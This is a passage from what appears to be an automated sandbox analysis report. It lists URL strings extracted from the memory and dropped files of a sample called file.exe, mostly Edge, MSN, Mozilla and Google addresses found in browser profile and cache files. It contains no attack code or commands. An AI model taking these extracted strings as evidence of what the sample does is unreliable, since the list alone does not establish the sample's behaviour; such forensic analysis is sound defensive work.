Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log10.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.7.dr, 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.7.dr, 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.7.dr, 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.7.dr, 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log10.7.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_392.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_392.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_392.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_392.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://gaana.com/
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.7.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.7.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: DHJECFCGHIDGHIDHDHIE.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://m.kugou.com/
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://m.vk.com/
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.8.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.8.dr	String found in binary or memory: https://msn.comXIDv10M
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://music.amazon.com
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://music.apple.com
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.7.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log6.7.dr, 2cc80dabc69f58b6_0.7.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log0.7.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log0.7.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.7.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.7.dr, 000003.log0.7.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log0.7.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376531956618310.7.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.7.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.7.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://open.spotify.com
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_392.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_395.4.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_395.4.dr	String found in binary or memory: https://plus.googleapis.com
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.7.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.7.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.7.dr	String found in binary or memory: https://srtb.msn.com/
Source: DHJJEGHIIDAFIDHJDHJEBAEGHC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: DHJJEGHIIDAFIDHJDHJEBAEGHC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DHJJEGHIIDAFIDHJDHJEBAEGHC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://tidal.com/
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.7.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.7.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.7.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://web.telegram.org/
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://web.whatsapp.com
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_395.4.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2436639774.00000000234B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, DHJECFCGHIDGHIDHDHIE.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2436639774.00000000234B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, DHJECFCGHIDGHIDHDHIE.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, IECGIEBA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.7.dr, content.js.7.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2278211462.000000002345C000.00000004.00000020.00020000.00000000.sdmp, CBGCGDBK.0.dr, Web Data.7.dr, IECGIEBA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 1157b7a7-140d-408b-a22c-4d269b928aa6.tmp.8.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_395.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_395.4.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_392.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_392.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_392.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://www.instagram.com
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://www.last.fm/
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://www.messenger.com
Source: DHJJEGHIIDAFIDHJDHJEBAEGHC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2413840045.00000000004C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: DHJJEGHIIDAFIDHJDHJEBAEGHC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2413840045.00000000004C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2413840045.00000000004C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: DHJJEGHIIDAFIDHJDHJEBAEGHC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2413840045.00000000004C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2363285126.000000002372A000.00000004.00000020.00020000.00000000.sdmp, DHJJEGHIIDAFIDHJDHJEBAEGHC.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: DHJJEGHIIDAFIDHJDHJEBAEGHC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2363285126.000000002372A000.00000004.00000020.00020000.00000000.sdmp, DHJJEGHIIDAFIDHJDHJEBAEGHC.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2413840045.00000000004C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2363285126.000000002372A000.00000004.00000020.00020000.00000000.sdmp, DHJJEGHIIDAFIDHJDHJEBAEGHC.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2413840045.00000000004C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.7.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://www.office.com
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 260d1cd5-f910-4e08-ba0a-502491d200c3.tmp.7.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
